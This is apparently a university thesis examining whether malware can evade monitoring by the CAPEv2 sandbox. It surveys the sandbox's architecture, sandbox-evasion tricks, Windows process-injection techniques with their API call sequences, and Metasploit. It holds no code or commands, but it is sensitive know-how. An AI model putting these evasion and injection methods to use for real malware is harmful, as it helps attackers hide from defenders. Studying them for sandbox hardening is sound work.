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Abstrakt / Abstract

Cílem této práce bylo provést analýzu
schopností CAPEv2 sandboxu zaměře-
ného na analýzu malwaru v případě,
že se malware bude aktivně bránit
detekci. V teoretické části této práce
je dopodrobna rozebrána podstata a
funkcionalita CAPEv2 sandboxu pro
detekci malware. Také je zde poskytnut
základní přehled o nejvíce používa-
ných technikách uniknutí detekce v
ekosystému Windows, jakož i základní
povědomí o Metasploit Frameworku.
Metasploit Framework byl použit v ex-
perimentální části pro vývoj a testování
útoků, které se snaží uniknout detekci
CAPEv2 sandboxu. Nalezené způsoby
uniknutí detekce jsou zmapovány a po-
psány v experimentální části, stejně jako
nově nalezená chyba v monitorovacím
algoritmu CAPEv2 sandboxu.

Klíčová slova: CAPEv2 sandbox, ma-
lware, kyberbezpečnost, metasploit

Překlad titulu: Uniknutí detekce v
sandboxu CAPE

The aim of this work is to analyze
the capabilities of the CAPEv2 malware
analysis sandbox in case the malware
actively tries to prevent detection. In
the theoretical part of this work, the na-
ture and functionality of the CAPEv2
sandbox are discussed in detail. A
basic overview of the most commonly
used detection evasion techniques in
the Windows ecosystem and a basic
overview of the Metasploit Framework
is also given. In the experimental sec-
tion, Metasploit-based attacks are used
to test CAPEv2’s detection. Multiple
types of attacks were found to evade
CAPEv2’s detection, and they are cov-
ered in this work. Also, a new bug in
CAPEv2’s monitor was discovered, and
its impact is discussed in this work.

Keywords: CAPEv2 sandbox, mal-
ware, cybersecurity, metasploit
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Chapter 1
Introduction

Malware malicious software plays a greater and greater role in our everyday lives as
in the past two years, around 12 million new malicious programs were registered each
month, as shown in Figure 1.1. That is over 450,000 a day![1] This amount of malware
cannot be manually processed and analyzed by security researchers, and that is why
automated malware analysis is needed. Originally there were two disjoint types of
malware analysis, static and behavioral. While static analysis aims at analyzing a
potential malware sample without executing it, just utilizing disassembly techniques.
Behavioral analysis on the other hand, is based on executing the sample in a safe,
controlled environment, monitoring the sample, and analyzing its execution flow. Both
approaches have their flaws, which is why most modern malware analysis sandboxes
use both techniques.

Figure 1.1. New Malware in the Last 2 Years [1]

The ability to quickly analyze a malware sample and understand its behavior and
the effect it has on the target system is of utmost importance. Having such knowledge
about how the malware works and what it does, is needed to defend against said
malware effectively. In case the system defense fails and the malware manages to infect
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1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
a machine, the knowledge about the malware functionality is also essential for the proper
removal of the malware. Usually, removing only the malware binary is not enough as
the malware often leaves behind some residues, such as registry entries, services, and
processes, or it could also be changes made to the filesystem. In order to properly
remove those malware residues, it is needed to have a detailed understanding of the
malicious code and its behavior [2].

As the malware developers do not usually make the source code of their malware
public, specialized tools are required to analyze the samples of malware executables.
This analysis could be performed either manually or with the help of some automated
tool. Since the malware source code is considered not available, and we see the malware
only as a black box, different analysis approaches that do not require the source code
have to be used. As was already mentioned, there are two fundamental approaches to
malware analysis. The static analysis consists of examining the malware executable on
the instruction level. Then, either a security researcher or some automated software
can search for patterns and artifacts to understand what the code does. YARA is a
tool that helps malware researchers with the classification and identification of malware
samples. In YARA, security researchers can describe patterns of behavior or just general
properties (signatures) of a malware or malware family. YARA then helps with the
classification of the malware. Based on those rules, it can classify the analyzed sample
[3]. As the static analysis is performed on the instruction level, it can tell us exactly what
the malware is doing. However, the complete static analysis of the malware requires
highly specialized knowledge of disassembly, the target operating system concepts, and
code constructs. That is because obfuscation — technique used by malware developers
to make the machine code of the malware hard to understand — is starting to be
widely used, and it makes the static analysis harder to use effectively. On the other
hand, dynamic (behavioral) analysis consist of running the malware and observing its
behavior. The caveat of this approach is the need to run the malware in an environment
which would not endanger our system or network. Also, it is needed to monitor the
behavior of the malware silently but effectively in order not to miss anything and not
to alert the malware that it is being monitored (observed) [4].

One of the ways how to perform behavioral analysis is to use a malware sandbox. A
sandbox is a security system for analyzing suspicious executables in a safe environment.
This safe environment is a virtual machine with a fully-featured operating system. The
sandbox runs the suspected malware and observes its behavior. This observation is
done by the monitor part of the sandbox. The result of such an analysis is a report of
what steps the malware performed in the system [4].

CAPEv2 a successor to Cuckoo sandbox is an open-source automated malware anal-
ysis sandbox that is able to perform classification based on signatures and network
and behavior analysis — effectively combining both static and behavioral analysis ap-
proaches. However, it is not entirely clear how well the CAPEv2 monitor follows the
analyzed file when it is actively trying to evade the monitoring. Finding whether there
are any ways in which the CAPEv2’s detection could be evaded is the goal of this thesis.

If there existed a way how to escape the CAPEv2 monitor, it would be really dan-
gerous for all the analyzers relying on it because that would mean that only a part or
nothing of what the malware is doing is really analyzed. The unmonitored action could
be used by malware developers not only to hide the actions of the malware but also
to mask all the traces of the malware in the system. If the program is not monitored
properly, it can also be used to create red herrings in the system with the aim of slowing
down the complete analysis of the program.

2



. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.1 Goal of The thesis

Because of its modularity and ability to perform many types of attacks, Metasploit
Framework was my tool of choice when performing the experimental part of this thesis.
Metasploit is the industry-leading pen-testing tool that offers various ways of performing
an attack thanks to its modular architecture. As such, it is widely used by pen-testers,
hackers, and security researchers to attack programs and machines with the aim of
exploiting vulnerabilities in them.

1.1 Goal of The thesis
The main objective of this thesis is to map whether it is possible to evade the monitoring
of the CAPEv2 sandbox. To be able to perform such an analysis, several prerequisites
have to be met.

In Chapter 2, I got familiar with the CAPEv2 sandbox. I have also documented
how CAPEv2 monitors processes. Chapter 3 was aimed at surveying the most common
detection evasion techniques in the Windows ecosystem.

The experimental part, which is in Chapter 5, then implements attacks aimed at
evading the CAPEv2 monitoring. In this chapter, I have also analyzed the capabilities
of the CAPEv2 for monitoring and detecting such attacks, and I have analyzed which
attacks are able to evade the CAPEv2 monitoring.

3



Chapter 2
CAPEv2 Sandbox

CAPEv2 is an open-source automated malware analysis system derived from the Cuckoo
Sandbox. The goal was to add automated malware unpacking and configuration ex-
traction. It is to analyze files and collect analysis results that map what the malware
does while running inside an isolated Windows operating system [5]. CAPEv2 is now
being distributed under the GNU/GPLv3 License.

2.1 CAPEv2 Introduction - What Is a Sandbox
Before CAPEv2 itself can be introduced and described in more detail, the concept of
sandboxing in malware analysis has to be clear.

A sandbox for malware analysis is an environment that runs the suspicious sample in
the safety of a virtual machine, with a fully-featured OS, as the VMs are isolated from
the real, sensitive infrastructure. The sandbox then monitors the sample’s activity and
behavior. In case the sandbox detects a suspected malicious activity in the VM, the
analyzed sample is flagged as malware. As the analysis in malware testing sandbox
is done by executing the suspicious sample and analyzing its behavior, it makes the
sandboxes effective against malware that escapes static analysis. Also, compared to
other behavior analysis techniques, sandboxes are safer as they do not require running
the suspicious sample in the real infrastructure [6].

Figure 2.1 shows the high-level functionality of the Cuckoo sandbox, which is the
predecessor of the CAPEv2. The base functionality remains the same — a file (or URL
address) is uploaded to the sandbox. The sandbox then performs some analysis and
generates a report. Based on the report, the user can then decide whether the file was
malware.

Figure 2.1. Sandbox - High-Level Overview, inspired by [7]

4



. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 History of CAPEv2

2.2 History of CAPEv2
CAPE sandbox is a fork of Cuckoo Sandbox. Cuckoo Sandbox started as a Google
Summer of Code project in 2010 within The Honeynet Project. Unfortunately, since
2015 the Cuckoo sandbox has been unmaintained, and later in 2016, it was replaced by
CAPE (Configuration And Payload Extraction) project. CAPE is written in Python
2. Because Python 2 and its successor Python 3 are mutually incompatible and the
support of Python 2 ended with the start of the year 2020, a new version of CAPE was
needed. CAPEv2 was developed completely in Python3 and started in 2019 [5].

2.3 Architecture of The Sandbox
CAPEv2 consists of a host machine and one or several guest machines. The host
machine is responsible for running the core components of the sandbox while the isolated
guest machines run the malware samples. As shown on the schema in Figure 2.2,
The guest machine might be a virtual machine of a physical machine, and the only
requirement is that it must be on an isolated virtual network with the host machine.
Usually, the guest machines are run as Windows 7 virtual machines. The host machine
is recommended to be running an Ubuntu OS.

Figure 2.2. CAPEv2 architecture [8]

2.3.1 Components
The following Figure 2.3 shows a scheme of how does the process of analyzing a file looks
like. The individual components are described in the following paragraphs. Although
the main source of information is [9], which is a blog about the Cuckoo project because
CAPEv2 is a fork of Cuckoo, it still applies.

The Scheduler is responsible for initializing the configured machinery module and
starting a new pending task if enough resources, such as disk space or virtual machines,

5



2. CAPEv2 Sandbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Figure 2.3. CAPEv2 Analysis flow [9]

are available. The scheduler also constantly checks if there are any VMs available. If
so, and there is also a task pending, the task information is handed over to the Analysis
Manager [9].

The Analysis Manager is started by the scheduler. It is responsible for the complete
analysis flow of a task. It decides when a machine is started or stopped and if or when
other modules are stopped. Furthermore, it is also responsible for finding the right
machine for the specific task - it ensures that x64 apps run on x64 machines and so on.
Before starting the machine, it will start all the required auxiliary modules. After that,
the analysis flow is handled over to the Guest manager [9].

Auxiliary Modules are modules that need to be started before a machine can be
started, modules that need to be executed in parallel with the analysis. Those are
modules that are responsible for all sorts of tasks either before the machine runs or
during. Sniffer, a module that is used to dump all network traffic from the machine, is
an example of an auxiliary module. Another example is human, a module that mimics
the behavior of a human — it moves the mouse and clicks objects [9].

Machinery Modules are responsible for interacting with the hypervisor or physical
machine. This means they start, stop or restore the VM. They are initialized by the
scheduler and used to manage all the configured VMs while CAPEv2 is running [9].

The Guest Manager responsibility is communication with the agent. It checks if the
machine has started yet. If the machine is started, it uploads everything and starts
the analyzer. After that, it keeps polling the agent for results from the analyzer. If a
critical timeout is reached, it will force the analyzer to stop [9].

6



. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3 Architecture of The Sandbox

The Cuckoo Agent is a simple HTTP server that allows for starting processes and
uploading files. It resides inside the VM and should be started as soon as the operating
system starts. The Guest manager uses the agent to upload and start the analyzer [9].

The Analyzer is the component that is executed inside the guest VM, where it pro-
vides all the logic and supporting modules needed for the analysis flow. This means that
it is responsible for executing the analyzed sample using the correct analysis package.
The analysis package is basically an instruction on how to open the analyzed sample.
If the analyzed sample is an executable, then the instruction is to execute it, but if it is
MS Word .docx file, then the instruction would be to start up MS Word and, in that,
open the analyzed file. The analysis package can be provided when submitting the
target file, or it can be automatically detected based on the file type. Before the target
is started, auxiliary modules, such as already mentioned human, is started. After that,
the target program is started with injected CAPEv2 Monitor DLL which is responsible
for the monitoring of the target program. The analyzer will then run as long as any of
the target processes still exist, or the analysis timeout is hit [9].

The Result Server responsibility is to handle incoming data streams and to store
those streams in the correct format and correct directory. Basically, it is responsible
for storing the collected data.

Processing Modules, Signatures, and Reporting Modules are all part of the post-
analysis data processing. Firstly all intercepted behavioral data are translated into
data that can be used by the signatures. Then the signatures are run against those
data, and if any of them match, it is added to the result set. This is then presented to
the end-user either as a JSON file or via the web interface, which uses MongoDB for
result storage [9].

A special and unique feature of CAPEv2 is its debugger. The aim to extract configs or
unpacked payloads from arbitrary malware families without relying on process dumps
showed that instruction-level monitoring and control are necessary. The debugger gives
us an insight into the program by enabling us to see the internal and execution state
of the analyzed program. As debuggers operate on the running program, they can
monitor the values of memory addresses of the analyzed program and their changes
during the execution of the program. The debugger also allows changes to be made to
anything about the analyzed program execution. The ability to change memory and
registry values during the program execution enabled CAPEv2 to continue evolving
beyond its original capabilities. This means CAPEv2 is now able to perform dynamic
anti-evasion bypasses. Since modern malware commonly tries to evade analysis within
sandboxes, because the debugger enables instruction-level dynamic monitoring of the
malware sample, CAPEv2 is able to detect those efforts. Moreover, CAPEv2 allows
dynamic countermeasures to the malware’s evasive actions to be developed, combin-
ing debugger actions within YARA signatures to detect evasive malware and perform
control-flow manipulation to force the sample to skip evasive actions and execute as it
would on a normal victim machine [5, 4].

As shown in Figure 2.4, where the debugger output is shown, the debugger allows us
to examine the malware on the machine-code level — to see the real instructions the
program ran with, similarly to many disassemblers but on a dynamic rather than static
level. This means that we are able to examine the program instructions in detail and
with the ability to see the actually used memory addresses and values. This is a great
advantage to the static disassembly analysis, where we are able to see the instructions
only before the program executes [5, 4].

7



2. CAPEv2 Sandbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Figure 2.4. CAPEv2 Debugger Output — trimmed

2.4 CAPEv2 Monitor (Capemon)
CAPEv2 Monitor (capemon) is a separate project to CAPEv2, that is available on its
own GitHub1. It is a DLL that gets injected into the target process after it starts. That
means that the monitor DLL becomes part of the target process and executes with it.
It logs any behavior it sees by hooking functions, effectively monitoring which functions
it calls and how it does it. The monitor is also following processes, monitoring every
new process that is started by the original target process, etc. All the work related to
the monitor is handled by the analyzer [9].

CAPE monitor DLL is injected into the target process via APC Injection. More on
how that works can be found in Chapter 3.2.5. For monitoring, capemon uses a concept
known as hooking. More on that in the following section 2.5. Because CAPEv2 monitors
the target process API calls via process hooks, it can detect when the target process
starts other processes, and the monitor can inject itself into those other processes.

1 https://github.com/kevoreilly/capemon
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2.5 Function Hooking

The term hooking is used for techniques that alter or augment the behavior of appli-
cations or even the whole operating system. It operates by intercepting the function
calls or messages made by the application or OS. The intercepted function calls and
messages are then handled by the hook code which might either alter them, completely
discard them or leave them unchanged [10].

Just inserting a DLL into the external process is not enough as that is only letting
us execute code in the context of another process. However, capemon wants to monitor
what the process is doing, and that is why we want to hook into the monitored process.

The easiest way to hook into a process is by inserting a jump instruction into the
program flow. That allows us to redirect the execution from one function to another
in which we can take a note of the original function that was called or directly alter
the parameters it was called with. Then we can return to the original function. This
return is done via a special trampoline function [11].

The Figure 2.5 shows how the trampoline function (function A gate) is used after
the hook is executed (function B) to return to the original function (function A).

Figure 2.5. Hooks Trampoline Function [11]
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More detailed information on how Hooking works, which is out of the scope of this

thesis, can be found at [11], which is an exhaustive blog by one of the original authors
of Cuckoo, the predecessor of CAPEv2.

2.6 CAPEv2 Public instance
CAPEv2 developers made available at https://capesandbox.com a public instance of
CAPEv2. This instance always runs the latest version available, and since it is being
administrated by the developers, it should implement all the best practices.

In the experimental Chapter 5, I will be using this public instance of CAPEv2 to
verify some of my observations.
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Chapter 3
Detection Evasion Techniques and Process
Injection

One of the goals of malware developers is to find loopholes in the target system they
can use to infect the target machine. As finding those loopholes is resource-demanding,
malware developers want to use them for as much time as possible. On the other hand,
security researchers want to patch those holes to defend against malware. Detecting
and monitoring an ongoing attack enables security researchers to observe and find
vulnerabilities in the attack and create defenses that mitigate future attacks. So for
malware to be successful, it needs to leave behind as few traces as possible or not be
detected at all.

Because of this, malware developers are doing their best to have their malware as
stealthy as possible. Nowadays, malware is becoming more stealthy and intelligent
in evading the detection of security systems. Those security systems then start to
lag behind the malware developers, and they start not being able to defend against
the malware [12]. In order to implement successful countermeasures to the rapidly
evolving malware and to boost the abilities of security systems, an understanding of
how detection evasion techniques work is needed.

That is why, in this chapter, I will go through the most common detection evasion
techniques, briefly explaining how they work. In section 3.2, I will in detail describe
process injection, focusing on the Windows environment.

3.1 Sandbox Evasion
According to [13], the most widely used evasion technique today is sandbox evasion.
This technique relies on detecting the presence of virtualized environment, in which the
malware disables itself. And the malware evades detection by not doing anything that
could be monitored.

Sandbox is a virtual environment used for testing and analyzing files. And because
their usage in malware analysis is widely known to malware developers, they now equip
their malware with capabilities that enable them to detect when the malware is running
in a sandbox [13].

In this section, the most common sandbox evasion techniques — as per the Figure
3.1 will be covered.

3.1.1 Delaying Execution — Time-based Evasion
Since sandboxes are virtual environments and the analysis in them cannot take an
excessive amount of time, the simplest way how can malware to evade detection is
to wait out the sandbox. That means that the malware can stay dormant before the
analysis timeout hits out. The most usual way for malware how to stay dormant
throughout the analysis is to delay its execution using known Windows APIs, like
NtDelayExecution, CreateWaitTableTImer, SetTimer and others [15]. As, during the
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Figure 3.1. Common Sandbox Evasion Techniques [14]

analysis, the malware did absolutely nothing, nothing was also detected by the sandbox,
and thus the malware accomplished its goal.

Another, this time a bit more sophisticated, the technique uses the GetTickCount
function from Windows API. This checks whether a time has been accelerated. Fortu-
nately for the sandbox developers, this could be easily mitigated by having the guest
machine (the virtual machine on which the analysis will be running) run for at least 20
minutes before creating a snapshot [15].

3.1.2 Hardware Detection

Checking for the hardware properties of the current machine the malware is running on
showed as a viable tactic in detection evasion. It is once again a representative of a way
of hiding what the malware is doing by not executing it in a monitored environment
rather than actively hiding its actions.

One option for the malware could be to check the amount of available RAM or
by checking the total available storage and its size. As regular machines have their
storage size well over 100 GB, an abnormally small disk size might suggest that the
process is running in a sandbox. Checking screen resolution, number of CPUs or CPU
temperature is also common [13, 15].
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3.1.3 User Interaction
“Another class of infamous techniques malware authors used extensively to circumvent
the sandboxing environment was to exploit the fact that automated analysis systems
are never manually interacted with by humans. Conventional sandboxes were never
designed to emulate user behavior, and malware was coded with the ability to deter-
mine the discrepancy between the automated and the real systems. Initially, multiple
malware families were found to be monitoring for Windows events and halting the
execution until they were generated.” [15]

Even though simulating human interaction is possible, some malware is smart enough
to distinguish simulated behavior from real user interaction [13]. For example, login or
reboot events are not usual in sandboxes, so malware can wait until an event like that
first appears.

3.1.4 Environment Detection
This technique relies on fingerprinting the target environment — exploiting the mis-
configuration of the sandbox. This is similar to hardware detection but focuses on the
misconfiguration of VM rather than on the physical properties.

A simple Windows Registry check can unveil to us that a BIOS manufacturer is a
VMware — a famous company that focuses on creating virtualization SW. Or it can
be detected that CPU drivers are signed by VMware, which is also a clear sign that an
environment is a virtual machine [16]. Nowadays, as virtual machine hardening becomes
more popular (and needed), detecting virtual environments is harder and harder, but
not impossible [15]. A nice example of an improperly defined VM is shown in Figure 3.2.
There it can be clearly seen VMware signed drivers, which is something that screams:
this is a virtual machine.

Figure 3.2. VMware Specific Registry Keys on a VMware Machine [16]

3.1.5 Countermeasures to Sandbox Evasion
As malware developers are doing their best to exploit the limitations in the architecture
of sandboxing, security researchers and engineers are doing their best to countermeasure
those efforts. There has already been developed a taxonomy on evasion countermeasure
techniques [12]. This is shown in Figure 3.3
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Figure 3.3. Taxonomy of Malware Evasion Countermeasures [12]

As is shown in Figure 3.3 and as described in [12], the sandbox evasion countermea-
sures can be classified into 4 categories:

. Anti-sleep. User behavior spoofing. Event based. Configuration based

Anti-sleep techniques are used to countermeasure extended sleep, which is one of
the most common sandbox evasion techniques, as described in 3.1.1. According to the
Cuckoo Monitor architecture, on which the CAPEv2 monitor is based, all delays within
the first N seconds of set thresholds are skipped completely [12].

User behavior spoofing can be performed by simulation of multiple mouse clicks,
scrolls, displaying dialog boxes, etc. It is also recommended to simulate user activity
by having meaningful memory and disk size, number of USB drives and processors, and
having installed the usual software, such as MS Office [12].

Some malware waits until a user performs a specific, pre-defined action, like checking
the system calendar for a specific date. Event based countermeasures are then based
on imitation of those events by having users with the typical default software installed
or correctly set up browsers with some history of URL browsing [12].

Configuration based countermeasures are based on hiding the physical properties of
the sandbox. Such as emulating the system properties like uptime or network traffic or
removal of the Virtual machine artifacts, like specific registry keys [12].

Sandbox hardening is nowadays an important step in sandbox-driven malware anal-
ysis as, without it, the analysis wouldn’t be much of a use. Fortunately, there are
publicly available tools that are able to run in the sandbox and check for any sandbox
markers. This helps sandbox users understand how successful they were in imitating a
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real system. One of those tools is Paranoid Fish 1 which uses different techniques to
detect malware analysis environments in the same way the malware does it.

3.2 Process Injection
Process injection is a way of executing arbitrary code in a given process. This can be
used to gain access to some resources or just to hide from antivirus, or it can also be
used by antivirus to hook into processes and monitor them. What exactly is Process
Injection is nicely explained by Mitre ATT&CK: “Adversaries may inject code into
processes in order to evade process-based defenses as well as possibly elevate privileges.
Process injection is a method of executing arbitrary code in the address space of a
separate live process. Running code in the context of another process may allow access
to the process’s memory, system/network resources, and possibly elevated privileges.
Execution via process injection may also evade detection from security products since
the execution is masked under a legitimate process.” [17]

Process injection can be achieved in many ways. In the following subsection, I will
go through the most common ones, as per [18]. But first, I need to introduce what a
process is.

3.2.1 What is a Process

In Windows, a process is a management object that contains the required resources to
execute a program. For a process to run, it needs to have a running thread. Thread
is the component of a process that runs the code [19]. A general overview of process
contents is shown in Figure 3.4

As per [19], a process needs to have the following:

. Virtual Address Space — the private memory of a process. Table of Handles — table containing references to all handles 2 a process has open. Tokens — objects responsible for setting the security context of the process. Threads — component of a process that executes code and is scheduled by the OS
kernel to do so

In the following subsections, different code injection techniques are discussed. Some
create a new thread in the target process, while others are able to hijack the already
running thread and have no need to create a new one.

3.2.2 DLL Injection

This is the classic technique of process injection. According to [18], it is also the most
commonly used one to inject malware into another process. Before the injection, it is
needed to have a copy of the malicious DLL (Dynamic-Link-Library) already somewhere
on a disk on the targeted system.

Then a target process for the injection can be chosen, either manually or by specifying
a process that shall be targeted or automatically by utilizing API calls to search for the
correct process. Then as shown in Figure 3.5, the malware — which is also a process,
but a different one from the targeted — uses VirtualAllocEx API call to allocate space
in memory. In this space, the path to the malicious DLL is stored by issuing a call to
WriteProcessMemory. Finally, to execute the injected code, which is contained in the
1 https://github.com/a0rtega/pafish
2 an object that represents a system resource
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Figure 3.4. Architecture of a Windows Process [19]

DLL, the malware uses another API call. This time it is CreateRemoteThread which
creates a remote thread (in the target process) that executes the code from the DLL we
just injected into it. It is important to note that by using this technique, DLL can be
injected only into processes that are on the same or lower privilege level as the malware
process has [18, 20].

Figure 3.5. Classic DLL Injection [20]
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The call to CreateRemoteThread is usually monitored by security products and, as
such, is being flagged as suspicious behavior. Furthermore, the need to have the ma-
licious DLL stored on a disk nowadays limits the ability to use this technique. More
advanced attackers would probably use some more sophisticated techniques [18].

3.2.3 Portable Executable (PE) Injection
This technique is based on the previous one, with one substantial change. Portable
Executable Injection works only with memory and does not need any DLL stored on
the filesystem. Also, as the name suggests, PE Injection writes the malicious code,
an executable, directly into the target process. However, with this approach comes
an obstacle in the shape of a change of the base address of the inserted code. This
means that the malware is required to dynamically recompute the fixed addresses of its
Portable Executable. The relocation table address has to be found in the host process,
which then helps with resolving the absolute address of the copied image [18, 20].

Reflective DLL injection is a widely used technique. It is used by the Meterpreter.
Reflective DLL injection, unlike PE Injection, injects only a DLL into the target process
and not a full executable. But otherwise, those two techniques are very similar [18, 20].

Figure 3.6 represents a scheme of how PE injection works.

Figure 3.6. PE Injection [20]

3.2.4 Process Hollowing
Process Hollowing, as the name of this technique suggests, is based on hollowing out
(memory of) an existing process, then replacing the hollow part with a malicious code.

The malware (or just a process that wants to inject something into another process)
first starts a new process — the one it will later inject its payload into — in a suspended
state. This means that the code of the new process will not start executing. This is done
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by calling the CreateProcess Windows API with the respective CREATE SUSPENDED
flag set to value 0x00000004. Then the memory content of this process is replaced
with the malicious code by unmapping the memory by NtUnmapViewOfSection API
call. New memory for this process is then allocated by VirtualAllocEx and written
by WriteProcessMemory. This is then similar to the previous two techniques, but the
whole process memory gets swapped. After the malicious code is written into the
newly allocated memory, a call to SetThreadContext is needed to change the execution
context to the one that was just created. In the end, the target process is resumed by
ResumeThread, executing the injected code [18, 20].

An illustrative diagram of this process is shown in Figure 3.7.

Figure 3.7. Process Hollowing Injection Scheme [20]

3.2.5 APC Injection

Malicious code can also be injected into processes using the APC (Asynchronous Pro-
cedure Call) queue. As suggested by the name, this technique uses an APC queue to
instruct the target process on what to execute [21].

Asynchronous Procedure Call (APC ) is an asynchronously executed function in the
context of a particular thread of a particular process [22]. Every thread of a pro-
cess has its own APC queue, and users (applications) can queue into it by using the
QueueUserAPC API call.

For a thread to execute an APC from its queue, the thread first needs to get into an
alertable state. In its simplest form, the APC injection is just about finding the target
process, allocating space, and writing, in it for the malicious code and then finding the
target process threads and instructing them, via an APC, to execute the malicious code.
In this form, the injection is unpredictable and unstable as it can run the malicious code
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multiple times — we are instructing all alertable threads of the target process to execute
the malicious code [23].

That is why an Early Bird APC Injection technique is used. In this technique, the
target process is started, in a suspended state, by the malware. Then an APC is queued
to the main thread, and when the process is resumed, it starts by emptying its APC
queue, thus executing the queued jobs. Thanks to this, we are able to evade security
product hooks if they are not in place before the main thread is resumed. Because the
malicious code gets executed before the main thread does [24, 23]. This code injection
technique is illustrated in Figure 3.8.

Figure 3.8. APC Injection Scheme, inspired by [24]

This code injection technique is used by CAPEv2 (in conjunction with PE injection)
to inject the monitor DLL and its hooks into the monitored process.
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3.3 Other Techniques
As was already suggested by figure 3.3, process injection and sandbox evasion are not
the only two techniques used for evading detection. In fact, many more exist, and it’s
beyond the scope of this thesis to map them all. In this chapter, only a few more
examples will be mentioned. This is not in any way a complete list as new techniques
on detection evasion is developed constantly.

One of the more creative ways how to evade detection is by using LOLBins (Living
Off the Land Binaries). Those are binaries of non-malicious nature that are local to the
OS. They are then used and exploited by hackers to camouflage the malicious activity.
As an example, a certutil binary, a Microsoft signed binary to manipulate certificates
on Windows machines, can be used to download malicious payloads into the victim
machine. And since it is not doing anything suspicious, as it was made for downloading
and managing certificates, it can evade detection by security products. Another example
might be the usage of Windows Task Scheduler to launch tasks instead of the malware
[25].

Another approach to detection evasion can be made using tools like Veil-Framework.
That is a tool specifically designed to obfuscate Metasploit payloads to make them
evade AV detection. It can also encrypt and encode the shellcode, so it is able to
evade the standard, signature-based antivirus software, which is nowadays less and less
common [26].

Another tool is SHELLTER which “uses a number of novel and advanced techniques
to essentially backdoor a valid and non-malicious executable file with a malicious shell-
code payload” [27]. It does that by analyzing the execution flow of the non-malicious
file and finding the best place to inject the malicious payload.
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Chapter 4
Metasploit Framework

Metasploit is a tool aimed at simplifying exploitation and thus providing quick vulner-
ability validation. It was developed to help us divide the penetration testing workflow
into manageable sections. Furthermore, it can also be defined as a tool to probe and
exploit vulnerabilities on networks and servers. It is maintained by Rapid7, a US-
based security company. Metasploit has two versions, one which is marketed mainly
for pen-testers is called Metasploit Pro, and that is a commercial product that you
need to license to use. On the other hand, the Metasploit Framework is a free-to-
use, open-source tool targeted at security researchers. According to Rapid7’s webpage,
Metasploit became the de-facto standard pen-testing tool with more than 1500 exploits.
The Metasploit Framework is written in Ruby, and it has been in development since
2003 [28–30].

Metasploit Framework is a console-based application that lets the user discover vul-
nerable devices, then test them for the vulnerability by launching exploits against them.
If the exploit succeeds, the user gains access to the tested machine, usually in the form
of some shell. Then the shell can be used to run other attacks on the same or different
machines, control the target machine, or just perform reconnaissance.

4.1 Metasploit Framework Architecture
One of the fundamental properties of Metasploit is that it is based on a modular archi-
tecture. There are five main sections (directories), each section containing hundreds of
modules [31]. The five main sections, as described in [29] and [30], are:

. Payloads: the code that we want to run in the target machine. Exploits: modules that take advantage of flaws in the target system, used to deliver
payloads. Auxiliary: modules used to perform reconnaissance, such as port scanners. Encoders: used to encode the payloads, also used to hide the payload shellcode in
the network traffic. Nops: used to pad payloads to a defined size with NoOperation instructions

The most useful shell that Metasploit Framework offers is a Meterpreter shell. This
is a Metasploit proprietary shell developed purely with the aim to aid the attacker with
executing remote commands on the victim machine.

4.1.1 Exploits
An exploit is a sequence of commands that targets a specific vulnerability in a system,
an application, or a service with the aim to provide the attacker with access to the sys-
tem. Exploits utilize results of a specific behavior the developers never assumed would
happen. Common exploits utilize buffer overflows, SQL injections, and configuration
errors [30]. Buffer overflow is exactly the technique performed by behaving the way the
application developers never thought of. Buffer overflow is when the volume of data
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Figure 4.1. Metasploit Architecture [32]

exceeds the capacity of the memory buffer. The result is that the application writes
the data to some location it was not supposed to. Buffer overflow might happen when
the application wants to store an input of an expected length of 10 bytes and receives
an input of 12 bytes, and it is not handled correctly by the application.

4.1.2 Encoders

The plain shellcode of the payload might contain several null characters that, when
interpreted by many programs, signify the end of a string. This could cause the code
to terminate before completion. Also, a shellcode traversing the network in plaintext
is likely to be picked up by intrusion detection systems (IDSs) and antivirus software
(AV ). Encoders help with this by avoiding bad characters and encoding the original
payload. This helps with escaping static detection by IDSs, and AV SW [30].

4.1.3 Payloads

Payload is the code we want the system to execute. A reverse tcp shell is a payload
that creates a connection from the target machine back to the attacker. A payload can
also be only a few commands executed on the target machine, i.e., to add a user.

There is an important difference between staged and stageless payloads. Staged pay-
loads send a small stager to the target, which connects back to the attacker and down-
loads the rest of the payload. Therefore, staged payloads need special payload listeners,
such as multi/handler in Metasploit. Staged payloads are ideal in situations where you
have limited shellcode space, most commonly in Buffer Overflows. On the other hand,
stageless payloads send the entire payload to the target at once and therefore do not
require the attacker to provide more data. That means we have a variety of listeners
we can use, such as Netcat [33].
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4.2 Meterpreter
When exploiting a software vulnerability, certain results are typically expected by an
attacker. The most common expectation is that the attacker will gain access to the
target machine. The access is gained through a command interpreter, such as /bin/sh
or cmd.exe, which allows the attacker to execute commands on the target machine.
Command interpreters usually run with the privileges of the user that is running the
exploited software. Even though access to the command interpreter on the target
machine enables the attacker almost a full control of the machine, limited only by the
privileges of the exploited process, there still exists some room for improvement [34].
This room for improvement was filled with Meterpreter.

There are three requirements for the Meterpreter:

. It must not create a new process. It must work in chroot’d environments. It must allow for robust extensibility

All of those requirements were met thanks to the usage of in-memory injection.
Meterpreter is similar to a normal command interpreter. It has a command line and a set
of commands it can execute. The biggest difference from normal command interpreters
is the Meterpreter’s ability to control the set of available commands by injecting new
extensions on the fly. This ability to change the command set on the fly means that
the Meterpreter client can use the same interface and command set across multiple
platforms as the needed code can always be injected on the fly. Using a uniform interface
also enables uniform control and communication with Meterpreter server instances [34].

4.3 Metasploit Session
After successful exploitation of a host, either a shell or Meterpreter session is opened.
This depends on the module used to create Metasploit’s session. Meterpreter shell gives
you access to Metasploit modules and other actions not available in the standard shell.

This means that a Metasploit session is a channel between the attacker and victim
PCs done either via standard OS shell or Meterpreter shell [28].

4.4 Process Migration
Process migration in Meterpreter is a process of transferring the payload from the
current process into another. This is done usually to gain a more stable session, as
migrating to a process like explorer.exe means that the risk of someone closing the
process that establishes the session is relatively small. Another reason why the process
migration might be used is to execute some shellcode in the context of a process designed
to do similar operations, thus minimizing the risk of being noticed in the system.

In order to migrate to another process, the original process has to inject its payload
into the target process. In Meterpreter, this is done using reflective DLL injection — a
variant of PE process injection [34]. This is discussed in greater detail in Chapter 3.2.
